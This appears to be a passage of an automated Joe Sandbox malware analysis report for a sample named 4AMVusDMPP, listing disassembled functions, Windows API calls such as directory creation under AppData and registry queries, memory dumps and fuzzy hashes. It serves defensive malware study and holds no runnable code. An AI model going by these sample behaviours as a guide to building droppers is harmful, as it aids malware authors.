Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Iw\Venke,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Iw\Venke, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Iw\Venke
API String ID: 1892508949-1791866492
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 004032DE Relevance: 4.6, APIs: 3, Instructions: 101COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004032F2

Part of subcall function 0040345D: SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040315B,?), ref: 0040346B

SetFilePointer.KERNELBASE(00000000,00000000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 00403325
SetFilePointer.KERNELBASE(0015F89E,00000000,00000000,00414ED0,00004000,?,00000000,00403208,00000004,00000000,00000000,?,?,00403182,000000FF,00000000), ref: 00403420

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: FilePointer$CountTick
String ID:
API String ID: 1092082344-0
Opcode ID: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction ID: a2c2ae871b20a7f651e14226ae934804f023725c52e887911cb1b1382089a511
Opcode Fuzzy Hash: 46bf3b49fb3124b20b26849d3f96ebab8958347a080c85236d637af58840fa95
Instruction Fuzzy Hash: 54313872610215DBD721DF29EEC496A3BA9F74039A754433FE900F62E0CBB99D018B9D

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(006FDB70), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction ID: 4b9c6e54fa6809cb214bd66434af352d7e41d31d349781cb692caa9f676c35e6
Opcode Fuzzy Hash: f7405ea9e476423423cde41a6620a17073824cabe1c2d7eedde19d286f021b37
Instruction Fuzzy Hash: 6E217B73A00200D7DB20EB94CEC995E73A4AB45314765053BF506F32D1DBB8E851DBAD

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nslE077.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nslE077.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748872586.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4AMVusDMPP.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.1748774578.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1748760244.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748789310.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1748803147.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
